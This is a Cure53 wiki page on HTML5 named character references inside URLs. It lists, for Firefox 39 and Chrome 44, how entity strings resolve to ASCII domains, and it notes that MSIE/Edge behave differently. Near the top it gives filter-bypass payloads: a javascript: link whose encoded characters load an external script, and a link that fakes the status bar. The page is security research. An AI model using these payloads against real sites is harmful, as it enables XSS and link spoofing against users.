Skip to content

Named Character References in URLs

Cure53 edited this page Aug 8, 2015 · 9 revisions

Modern browsers turn HTML5 named character references into ASCII when used in URLs. This can be useful for bypasses and needs to be documented.

List of character references: https://developers.whatwg.org/named-character-references.html#named-character-references

Examples:

This sends you to //fi.org/ 
<a href="&sol;&sol;&filig;.org">CLICKME</a>

Now, even better - guess where that sends you to?
<a href="&sol;&sol;&Gopf;&Oscr;&order;&gscr;&Laplacetrf;&ee;.&complexes;&ofr;&Mellintrf;">CLICKME</a>

Crazy Examples:

This executes an alert on all tested browsers. Note the details!
<a href="javascript&colon;&apos;<script src=/&sol;&ETH;.pw&nvgt;</script&nvgt;&apos;">CLICK</a>

This looks like an alert(1) in Chrome. But it is none. URL and status bar are out of sync.
<a href="javascript:&aopf;&lscr;&efr;&rfr;&topf;(1)">CLICKME</a>

Firefox 39

&sol;&sol;&Afr; resolves to http://a.org/
&sol;&sol;&afr; resolves to http://a.org/
&sol;&sol;&Aopf; resolves to http://a.org/
&sol;&sol;&aopf; resolves to http://a.org/
&sol;&sol;&Ascr; resolves to http://a.org/
&sol;&sol;&ascr; resolves to http://a.org/
&sol;&sol;&bernou; resolves to http://b.org/
&sol;&sol;&Bernoullis; resolves to http://b.org/
&sol;&sol;&Bfr; resolves to http://b.org/
&sol;&sol;&bfr; resolves to http://b.org/
&sol;&sol;&Bopf; resolves to http://b.org/
&sol;&sol;&bopf; resolves to http://b.org/
&sol;&sol;&Bscr; resolves to http://b.org/
&sol;&sol;&bscr; resolves to http://b.org/
&sol;&sol;&CapitalDifferentialD; resolves to http://d.org/
&sol;&sol;&Cayleys; resolves to http://c.org/
&sol;&sol;&Cfr; resolves to http://c.org/
&sol;&sol;&cfr; resolves to http://c.org/
&sol;&sol;&circledS; resolves to http://s.org/
&sol;&sol;&complexes; resolves to http://c.org/
&sol;&sol;&Copf; resolves to http://c.org/
&sol;&sol;&copf; resolves to http://c.org/
&sol;&sol;&Cscr; resolves to http://c.org/
&sol;&sol;&cscr; resolves to http://c.org/
&sol;&sol;&DD; resolves to http://d.org/
&sol;&sol;&dd; resolves to http://d.org/
&sol;&sol;&Dfr; resolves to http://d.org/
&sol;&sol;&dfr; resolves to http://d.org/
&sol;&sol;&DifferentialD; resolves to http://d.org/
&sol;&sol;&Dopf; resolves to http://d.org/
&sol;&sol;&dopf; resolves to http://d.org/
&sol;&sol;&Dscr; resolves to http://d.org/
&sol;&sol;&dscr; resolves to http://d.org/
&sol;&sol;&ee; resolves to http://e.org/
&sol;&sol;&Efr; resolves to http://e.org/
&sol;&sol;&efr; resolves to http://e.org/
&sol;&sol;&ell; resolves to http://l.org/
&sol;&sol;&Eopf; resolves to http://e.org/
&sol;&sol;&eopf; resolves to http://e.org/
&sol;&sol;&Escr; resolves to http://e.org/
&sol;&sol;&escr; resolves to http://e.org/
&sol;&sol;&expectation; resolves to http://e.org/
&sol;&sol;&ExponentialE; resolves to http://e.org/
&sol;&sol;&exponentiale; resolves to http://e.org/
&sol;&sol;&ffilig; resolves to http://ffi.org/
&sol;&sol;&fflig; resolves to http://ff.org/
&sol;&sol;&ffllig; resolves to http://ffl.org/
&sol;&sol;&Ffr; resolves to http://f.org/
&sol;&sol;&ffr; resolves to http://f.org/
&sol;&sol;&filig; resolves to http://fi.org/
&sol;&sol;&fjlig; resolves to http://fj.org/
&sol;&sol;&fllig; resolves to http://fl.org/
&sol;&sol;&Fopf; resolves to http://f.org/
&sol;&sol;&fopf; resolves to http://f.org/
&sol;&sol;&Fouriertrf; resolves to http://f.org/
&sol;&sol;&Fscr; resolves to http://f.org/
&sol;&sol;&fscr; resolves to http://f.org/
&sol;&sol;&Gfr; resolves to http://g.org/
&sol;&sol;&gfr; resolves to http://g.org/
&sol;&sol;&Gopf; resolves to http://g.org/
&sol;&sol;&gopf; resolves to http://g.org/
&sol;&sol;&Gscr; resolves to http://g.org/
&sol;&sol;&gscr; resolves to http://g.org/
&sol;&sol;&hamilt; resolves to http://h.org/
&sol;&sol;&Hfr; resolves to http://h.org/
&sol;&sol;&hfr; resolves to http://h.org/
&sol;&sol;&HilbertSpace; resolves to http://h.org/
&sol;&sol;&Hopf; resolves to http://h.org/
&sol;&sol;&hopf; resolves to http://h.org/
&sol;&sol;&Hscr; resolves to http://h.org/
&sol;&sol;&hscr; resolves to http://h.org/
&sol;&sol;&Ifr; resolves to http://i.org/
&sol;&sol;&ifr; resolves to http://i.org/
&sol;&sol;&ii; resolves to http://i.org/
&sol;&sol;&IJlig; resolves to http://ij.org/
&sol;&sol;&ijlig; resolves to http://ij.org/
&sol;&sol;&Im; resolves to http://i.org/
&sol;&sol;&image; resolves to http://i.org/
&sol;&sol;&ImaginaryI; resolves to http://i.org/
&sol;&sol;&imagline; resolves to http://i.org/
&sol;&sol;&imagpart; resolves to http://i.org/
&sol;&sol;&integers; resolves to http://z.org/
&sol;&sol;&Iopf; resolves to http://i.org/
&sol;&sol;&iopf; resolves to http://i.org/
&sol;&sol;&Iscr; resolves to http://i.org/
&sol;&sol;&iscr; resolves to http://i.org/
&sol;&sol;&Jfr; resolves to http://j.org/
&sol;&sol;&jfr; resolves to http://j.org/
&sol;&sol;&Jopf; resolves to http://j.org/
&sol;&sol;&jopf; resolves to http://j.org/
&sol;&sol;&Jscr; resolves to http://j.org/
&sol;&sol;&jscr; resolves to http://j.org/
&sol;&sol;&Kfr; resolves to http://k.org/
&sol;&sol;&kfr; resolves to http://k.org/
&sol;&sol;&Kopf; resolves to http://k.org/
&sol;&sol;&kopf; resolves to http://k.org/
&sol;&sol;&Kscr; resolves to http://k.org/
&sol;&sol;&kscr; resolves to http://k.org/
&sol;&sol;&lagran; resolves to http://l.org/
&sol;&sol;&Laplacetrf; resolves to http://l.org/
&sol;&sol;&Lfr; resolves to http://l.org/
&sol;&sol;&lfr; resolves to http://l.org/
&sol;&sol;&Lopf; resolves to http://l.org/
&sol;&sol;&lopf; resolves to http://l.org/
&sol;&sol;&Lscr; resolves to http://l.org/
&sol;&sol;&lscr; resolves to http://l.org/
&sol;&sol;&Mellintrf; resolves to http://m.org/
&sol;&sol;&Mfr; resolves to http://m.org/
&sol;&sol;&mfr; resolves to http://m.org/
&sol;&sol;&Mopf; resolves to http://m.org/
&sol;&sol;&mopf; resolves to http://m.org/
&sol;&sol;&Mscr; resolves to http://m.org/
&sol;&sol;&mscr; resolves to http://m.org/
&sol;&sol;&naturals; resolves to http://n.org/
&sol;&sol;&Nfr; resolves to http://n.org/
&sol;&sol;&nfr; resolves to http://n.org/
&sol;&sol;&Nopf; resolves to http://n.org/
&sol;&sol;&nopf; resolves to http://n.org/
&sol;&sol;&Nscr; resolves to http://n.org/
&sol;&sol;&nscr; resolves to http://n.org/
&sol;&sol;&numero; resolves to http://no.org/
&sol;&sol;&Ofr; resolves to http://o.org/
&sol;&sol;&ofr; resolves to http://o.org/
&sol;&sol;&Oopf; resolves to http://o.org/
&sol;&sol;&oopf; resolves to http://o.org/
&sol;&sol;&order; resolves to http://o.org/
&sol;&sol;&orderof; resolves to http://o.org/
&sol;&sol;&ordf; resolves to http://a.org/
&sol;&sol;&ordm; resolves to http://o.org/
&sol;&sol;&oS; resolves to http://s.org/
&sol;&sol;&Oscr; resolves to http://o.org/
&sol;&sol;&oscr; resolves to http://o.org/
&sol;&sol;&Pfr; resolves to http://p.org/
&sol;&sol;&pfr; resolves to http://p.org/
&sol;&sol;&phmmat; resolves to http://m.org/
&sol;&sol;&planckh; resolves to http://h.org/
&sol;&sol;&Poincareplane; resolves to http://h.org/
&sol;&sol;&Popf; resolves to http://p.org/
&sol;&sol;&popf; resolves to http://p.org/
&sol;&sol;&primes; resolves to http://p.org/
&sol;&sol;&Pscr; resolves to http://p.org/
&sol;&sol;&pscr; resolves to http://p.org/
&sol;&sol;&Qfr; resolves to http://q.org/
&sol;&sol;&qfr; resolves to http://q.org/
&sol;&sol;&Qopf; resolves to http://q.org/
&sol;&sol;&qopf; resolves to http://q.org/
&sol;&sol;&Qscr; resolves to http://q.org/
&sol;&sol;&qscr; resolves to http://q.org/
&sol;&sol;&quaternions; resolves to http://h.org/
&sol;&sol;&rationals; resolves to http://q.org/
&sol;&sol;&Re; resolves to http://r.org/
&sol;&sol;&real; resolves to http://r.org/
&sol;&sol;&realine; resolves to http://r.org/
&sol;&sol;&realpart; resolves to http://r.org/
&sol;&sol;&reals; resolves to http://r.org/
&sol;&sol;&Rfr; resolves to http://r.org/
&sol;&sol;&rfr; resolves to http://r.org/
&sol;&sol;&Ropf; resolves to http://r.org/
&sol;&sol;&ropf; resolves to http://r.org/
&sol;&sol;&Rscr; resolves to http://r.org/
&sol;&sol;&rscr; resolves to http://r.org/
&sol;&sol;&Sfr; resolves to http://s.org/
&sol;&sol;&sfr; resolves to http://s.org/
&sol;&sol;&Sopf; resolves to http://s.org/
&sol;&sol;&sopf; resolves to http://s.org/
&sol;&sol;&Sscr; resolves to http://s.org/
&sol;&sol;&sscr; resolves to http://s.org/
&sol;&sol;&szlig; resolves to http://ss.org/
&sol;&sol;&Tfr; resolves to http://t.org/
&sol;&sol;&tfr; resolves to http://t.org/
&sol;&sol;&Topf; resolves to http://t.org/
&sol;&sol;&topf; resolves to http://t.org/
&sol;&sol;&TRADE; resolves to http://tm.org/
&sol;&sol;&trade; resolves to http://tm.org/
&sol;&sol;&Tscr; resolves to http://t.org/
&sol;&sol;&tscr; resolves to http://t.org/
&sol;&sol;&Ufr; resolves to http://u.org/
&sol;&sol;&ufr; resolves to http://u.org/
&sol;&sol;&Uopf; resolves to http://u.org/
&sol;&sol;&uopf; resolves to http://u.org/
&sol;&sol;&Uscr; resolves to http://u.org/
&sol;&sol;&uscr; resolves to http://u.org/
&sol;&sol;&Vfr; resolves to http://v.org/
&sol;&sol;&vfr; resolves to http://v.org/
&sol;&sol;&Vopf; resolves to http://v.org/
&sol;&sol;&vopf; resolves to http://v.org/
&sol;&sol;&Vscr; resolves to http://v.org/
&sol;&sol;&vscr; resolves to http://v.org/
&sol;&sol;&Wfr; resolves to http://w.org/
&sol;&sol;&wfr; resolves to http://w.org/
&sol;&sol;&Wopf; resolves to http://w.org/
&sol;&sol;&wopf; resolves to http://w.org/
&sol;&sol;&Wscr; resolves to http://w.org/
&sol;&sol;&wscr; resolves to http://w.org/
&sol;&sol;&Xfr; resolves to http://x.org/
&sol;&sol;&xfr; resolves to http://x.org/
&sol;&sol;&Xopf; resolves to http://x.org/
&sol;&sol;&xopf; resolves to http://x.org/
&sol;&sol;&Xscr; resolves to http://x.org/
&sol;&sol;&xscr; resolves to http://x.org/
&sol;&sol;&Yfr; resolves to http://y.org/
&sol;&sol;&yfr; resolves to http://y.org/
&sol;&sol;&Yopf; resolves to http://y.org/
&sol;&sol;&yopf; resolves to http://y.org/
&sol;&sol;&Yscr; resolves to http://y.org/
&sol;&sol;&yscr; resolves to http://y.org/
&sol;&sol;&zeetrf; resolves to http://z.org/
&sol;&sol;&Zfr; resolves to http://z.org/
&sol;&sol;&zfr; resolves to http://z.org/
&sol;&sol;&Zopf; resolves to http://z.org/
&sol;&sol;&zopf; resolves to http://z.org/
&sol;&sol;&Zscr; resolves to http://z.org/
&sol;&sol;&zscr; resolves to http://z.org/

Chrome 44:

&sol;&sol;&Afr; resolves to http://a.org/
&sol;&sol;&afr; resolves to http://a.org/
&sol;&sol;&Aopf; resolves to http://a.org/
&sol;&sol;&aopf; resolves to http://a.org/
&sol;&sol;&Ascr; resolves to http://a.org/
&sol;&sol;&ascr; resolves to http://a.org/
&sol;&sol;&bernou; resolves to http://b.org/
&sol;&sol;&Bernoullis; resolves to http://b.org/
&sol;&sol;&Bfr; resolves to http://b.org/
&sol;&sol;&bfr; resolves to http://b.org/
&sol;&sol;&Bopf; resolves to http://b.org/
&sol;&sol;&bopf; resolves to http://b.org/
&sol;&sol;&Bscr; resolves to http://b.org/
&sol;&sol;&bscr; resolves to http://b.org/
&sol;&sol;&CapitalDifferentialD; resolves to http://d.org/
&sol;&sol;&Cayleys; resolves to http://c.org/
&sol;&sol;&Cfr; resolves to http://c.org/
&sol;&sol;&cfr; resolves to http://c.org/
&sol;&sol;&circledS; resolves to http://s.org/
&sol;&sol;&complexes; resolves to http://c.org/
&sol;&sol;&Copf; resolves to http://c.org/
&sol;&sol;&copf; resolves to http://c.org/
&sol;&sol;&Cscr; resolves to http://c.org/
&sol;&sol;&cscr; resolves to http://c.org/
&sol;&sol;&DD; resolves to http://d.org/
&sol;&sol;&dd; resolves to http://d.org/
&sol;&sol;&Dfr; resolves to http://d.org/
&sol;&sol;&dfr; resolves to http://d.org/
&sol;&sol;&DifferentialD; resolves to http://d.org/
&sol;&sol;&Dopf; resolves to http://d.org/
&sol;&sol;&dopf; resolves to http://d.org/
&sol;&sol;&Dscr; resolves to http://d.org/
&sol;&sol;&dscr; resolves to http://d.org/
&sol;&sol;&ee; resolves to http://e.org/
&sol;&sol;&Efr; resolves to http://e.org/
&sol;&sol;&efr; resolves to http://e.org/
&sol;&sol;&ell; resolves to http://l.org/
&sol;&sol;&Eopf; resolves to http://e.org/
&sol;&sol;&eopf; resolves to http://e.org/
&sol;&sol;&Escr; resolves to http://e.org/
&sol;&sol;&escr; resolves to http://e.org/
&sol;&sol;&expectation; resolves to http://e.org/
&sol;&sol;&ExponentialE; resolves to http://e.org/
&sol;&sol;&exponentiale; resolves to http://e.org/
&sol;&sol;&ffilig; resolves to http://ffi.org/
&sol;&sol;&fflig; resolves to http://ff.org/
&sol;&sol;&ffllig; resolves to http://ffl.org/
&sol;&sol;&Ffr; resolves to http://f.org/
&sol;&sol;&ffr; resolves to http://f.org/
&sol;&sol;&filig; resolves to http://fi.org/
&sol;&sol;&fjlig; resolves to http://fj.org/
&sol;&sol;&fllig; resolves to http://fl.org/
&sol;&sol;&Fopf; resolves to http://f.org/
&sol;&sol;&fopf; resolves to http://f.org/
&sol;&sol;&Fouriertrf; resolves to http://f.org/
&sol;&sol;&Fscr; resolves to http://f.org/
&sol;&sol;&fscr; resolves to http://f.org/
&sol;&sol;&Gfr; resolves to http://g.org/
&sol;&sol;&gfr; resolves to http://g.org/
&sol;&sol;&Gopf; resolves to http://g.org/
&sol;&sol;&gopf; resolves to http://g.org/
&sol;&sol;&Gscr; resolves to http://g.org/
&sol;&sol;&gscr; resolves to http://g.org/
&sol;&sol;&hamilt; resolves to http://h.org/
&sol;&sol;&Hfr; resolves to http://h.org/
&sol;&sol;&hfr; resolves to http://h.org/
&sol;&sol;&HilbertSpace; resolves to http://h.org/
&sol;&sol;&Hopf; resolves to http://h.org/
&sol;&sol;&hopf; resolves to http://h.org/
&sol;&sol;&Hscr; resolves to http://h.org/
&sol;&sol;&hscr; resolves to http://h.org/
&sol;&sol;&Ifr; resolves to http://i.org/
&sol;&sol;&ifr; resolves to http://i.org/
&sol;&sol;&ii; resolves to http://i.org/
&sol;&sol;&IJlig; resolves to http://ij.org/
&sol;&sol;&ijlig; resolves to http://ij.org/
&sol;&sol;&Im; resolves to http://i.org/
&sol;&sol;&image; resolves to http://i.org/
&sol;&sol;&ImaginaryI; resolves to http://i.org/
&sol;&sol;&imagline; resolves to http://i.org/
&sol;&sol;&imagpart; resolves to http://i.org/
&sol;&sol;&integers; resolves to http://z.org/
&sol;&sol;&Iopf; resolves to http://i.org/
&sol;&sol;&iopf; resolves to http://i.org/
&sol;&sol;&Iscr; resolves to http://i.org/
&sol;&sol;&iscr; resolves to http://i.org/
&sol;&sol;&Jfr; resolves to http://j.org/
&sol;&sol;&jfr; resolves to http://j.org/
&sol;&sol;&Jopf; resolves to http://j.org/
&sol;&sol;&jopf; resolves to http://j.org/
&sol;&sol;&Jscr; resolves to http://j.org/
&sol;&sol;&jscr; resolves to http://j.org/
&sol;&sol;&Kfr; resolves to http://k.org/
&sol;&sol;&kfr; resolves to http://k.org/
&sol;&sol;&Kopf; resolves to http://k.org/
&sol;&sol;&kopf; resolves to http://k.org/
&sol;&sol;&Kscr; resolves to http://k.org/
&sol;&sol;&kscr; resolves to http://k.org/
&sol;&sol;&lagran; resolves to http://l.org/
&sol;&sol;&Laplacetrf; resolves to http://l.org/
&sol;&sol;&Lfr; resolves to http://l.org/
&sol;&sol;&lfr; resolves to http://l.org/
&sol;&sol;&Lopf; resolves to http://l.org/
&sol;&sol;&lopf; resolves to http://l.org/
&sol;&sol;&Lscr; resolves to http://l.org/
&sol;&sol;&lscr; resolves to http://l.org/
&sol;&sol;&Mellintrf; resolves to http://m.org/
&sol;&sol;&Mfr; resolves to http://m.org/
&sol;&sol;&mfr; resolves to http://m.org/
&sol;&sol;&Mopf; resolves to http://m.org/
&sol;&sol;&mopf; resolves to http://m.org/
&sol;&sol;&Mscr; resolves to http://m.org/
&sol;&sol;&mscr; resolves to http://m.org/
&sol;&sol;&naturals; resolves to http://n.org/
&sol;&sol;&Nfr; resolves to http://n.org/
&sol;&sol;&nfr; resolves to http://n.org/
&sol;&sol;&Nopf; resolves to http://n.org/
&sol;&sol;&nopf; resolves to http://n.org/
&sol;&sol;&Nscr; resolves to http://n.org/
&sol;&sol;&nscr; resolves to http://n.org/
&sol;&sol;&numero; resolves to http://no.org/
&sol;&sol;&Ofr; resolves to http://o.org/
&sol;&sol;&ofr; resolves to http://o.org/
&sol;&sol;&Oopf; resolves to http://o.org/
&sol;&sol;&oopf; resolves to http://o.org/
&sol;&sol;&order; resolves to http://o.org/
&sol;&sol;&orderof; resolves to http://o.org/
&sol;&sol;&ordf; resolves to http://a.org/
&sol;&sol;&ordm; resolves to http://o.org/
&sol;&sol;&oS; resolves to http://s.org/
&sol;&sol;&Oscr; resolves to http://o.org/
&sol;&sol;&oscr; resolves to http://o.org/
&sol;&sol;&Pfr; resolves to http://p.org/
&sol;&sol;&pfr; resolves to http://p.org/
&sol;&sol;&phmmat; resolves to http://m.org/
&sol;&sol;&planckh; resolves to http://h.org/
&sol;&sol;&Poincareplane; resolves to http://h.org/
&sol;&sol;&Popf; resolves to http://p.org/
&sol;&sol;&popf; resolves to http://p.org/
&sol;&sol;&primes; resolves to http://p.org/
&sol;&sol;&Pscr; resolves to http://p.org/
&sol;&sol;&pscr; resolves to http://p.org/
&sol;&sol;&Qfr; resolves to http://q.org/
&sol;&sol;&qfr; resolves to http://q.org/
&sol;&sol;&Qopf; resolves to http://q.org/
&sol;&sol;&qopf; resolves to http://q.org/
&sol;&sol;&Qscr; resolves to http://q.org/
&sol;&sol;&qscr; resolves to http://q.org/
&sol;&sol;&quaternions; resolves to http://h.org/
&sol;&sol;&rationals; resolves to http://q.org/
&sol;&sol;&Re; resolves to http://r.org/
&sol;&sol;&real; resolves to http://r.org/
&sol;&sol;&realine; resolves to http://r.org/
&sol;&sol;&realpart; resolves to http://r.org/
&sol;&sol;&reals; resolves to http://r.org/
&sol;&sol;&Rfr; resolves to http://r.org/
&sol;&sol;&rfr; resolves to http://r.org/
&sol;&sol;&Ropf; resolves to http://r.org/
&sol;&sol;&ropf; resolves to http://r.org/
&sol;&sol;&Rscr; resolves to http://r.org/
&sol;&sol;&rscr; resolves to http://r.org/
&sol;&sol;&Sfr; resolves to http://s.org/
&sol;&sol;&sfr; resolves to http://s.org/
&sol;&sol;&Sopf; resolves to http://s.org/
&sol;&sol;&sopf; resolves to http://s.org/
&sol;&sol;&Sscr; resolves to http://s.org/
&sol;&sol;&sscr; resolves to http://s.org/
&sol;&sol;&szlig; resolves to http://ss.org/
&sol;&sol;&Tfr; resolves to http://t.org/
&sol;&sol;&tfr; resolves to http://t.org/
&sol;&sol;&Topf; resolves to http://t.org/
&sol;&sol;&topf; resolves to http://t.org/
&sol;&sol;&TRADE; resolves to http://tm.org/
&sol;&sol;&trade; resolves to http://tm.org/
&sol;&sol;&Tscr; resolves to http://t.org/
&sol;&sol;&tscr; resolves to http://t.org/
&sol;&sol;&Ufr; resolves to http://u.org/
&sol;&sol;&ufr; resolves to http://u.org/
&sol;&sol;&Uopf; resolves to http://u.org/
&sol;&sol;&uopf; resolves to http://u.org/
&sol;&sol;&Uscr; resolves to http://u.org/
&sol;&sol;&uscr; resolves to http://u.org/
&sol;&sol;&Vfr; resolves to http://v.org/
&sol;&sol;&vfr; resolves to http://v.org/
&sol;&sol;&Vopf; resolves to http://v.org/
&sol;&sol;&vopf; resolves to http://v.org/
&sol;&sol;&Vscr; resolves to http://v.org/
&sol;&sol;&vscr; resolves to http://v.org/
&sol;&sol;&Wfr; resolves to http://w.org/
&sol;&sol;&wfr; resolves to http://w.org/
&sol;&sol;&Wopf; resolves to http://w.org/
&sol;&sol;&wopf; resolves to http://w.org/
&sol;&sol;&Wscr; resolves to http://w.org/
&sol;&sol;&wscr; resolves to http://w.org/
&sol;&sol;&Xfr; resolves to http://x.org/
&sol;&sol;&xfr; resolves to http://x.org/
&sol;&sol;&Xopf; resolves to http://x.org/
&sol;&sol;&xopf; resolves to http://x.org/
&sol;&sol;&Xscr; resolves to http://x.org/
&sol;&sol;&xscr; resolves to http://x.org/
&sol;&sol;&Yfr; resolves to http://y.org/
&sol;&sol;&yfr; resolves to http://y.org/
&sol;&sol;&Yopf; resolves to http://y.org/
&sol;&sol;&yopf; resolves to http://y.org/
&sol;&sol;&Yscr; resolves to http://y.org/
&sol;&sol;&yscr; resolves to http://y.org/
&sol;&sol;&zeetrf; resolves to http://z.org/
&sol;&sol;&Zfr; resolves to http://z.org/
&sol;&sol;&zfr; resolves to http://z.org/
&sol;&sol;&Zopf; resolves to http://z.org/
&sol;&sol;&zopf; resolves to http://z.org/
&sol;&sol;&Zscr; resolves to http://z.org/
&sol;&sol;&zscr; resolves to http://z.org/

MSIE11 / Edge

&sol;&sol;&fjlig; resolves to http://fj.org/

Wait. that is all? No.

Note that things in MSIE / Edge are a bit weird. Because the DOM doesn't actually reflect the ASCII URL but still shows the Unicode value! But once the URL is actually being used (a link being clicked, a script being fetched) the ASCII value is used nevertheless.

Example:

<a href="//&Afr;.org">CLICKME</a>

// document.links[0].href shows "http://𝔄.org/"
// But once you click the link, you'll be sent to "a.org"